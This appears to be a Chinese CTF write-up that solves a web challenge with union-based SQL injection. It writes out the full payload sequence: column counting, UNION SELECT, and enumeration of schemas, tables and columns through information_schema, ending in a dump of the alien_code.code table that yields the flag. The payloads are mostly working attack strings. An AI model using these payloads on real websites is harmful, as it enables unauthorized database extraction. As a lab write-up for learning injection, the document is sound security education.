打开题目
左边一堆可点的都是一些没什么用的科普,没有任何信息,目录遍历也没有什么也有用的信息,bp抓两个包看看



抓第一个Home的包很正常,抓后边几个包的时候发现有一个搜索的地方/query?search=
在/query?search=后面加上正确的地名会回显,像是一个sql注入的地方

尝试判断列数:/query?search=olympus_mons order by 2,发现有两列
然后判断一下注入点:/query?search=olympus_mons union select 1,2
查查版本和库名

在查库名这里有个坑,查出来的这个库中的所有表和字段信息都没有flag的,当时一个一个查,查出来的东西都没什么用,废了好长时间。什么有用的信息都没有,回过头来重新查查有没有其他的数据库
/query?search=olympus_mons union select 1,group_concat(database()) from
information_schema.schemata

有意思的来了,这一查发现竟然有三个一样的数据库,那怎么办呢,sql语句里边还有一种查看所有数据库的方法,把里边的database()改成schema_name
/query?search=olympus_mons union select 1,group_concat(schema_name) from
information_schema.schemata

这两种一个是获取当前数据库命称,一种是使用information_schema.schemata表中的schema_name列来获取数据库名称,回显出来的数据的名称是不一样的,建议以后查找其他数据库,默认使用 union select group_concat(schema_name) from information_schema.schemata,来节省时间。
这下我们得到了其他的数据库的名称,查一下alien_code这个数据库
查表:/query?search=olympus_mons union select 1,group_concat(table_name) from information_schema.tables where table_schema='alien_code'
查列:/query?search=olympus_mons union select 1,group_concat(column_name) from information_schema.columns where table_name='code'
查字段内容:/query?search=olympus_mons union select group_concat(id),group_concat(code) from alien_code.code

得到flag
flag{1654f6eb-fce8-41d3-9e18-b014e66acf24}
1023

被折叠的 条评论
为什么被折叠?



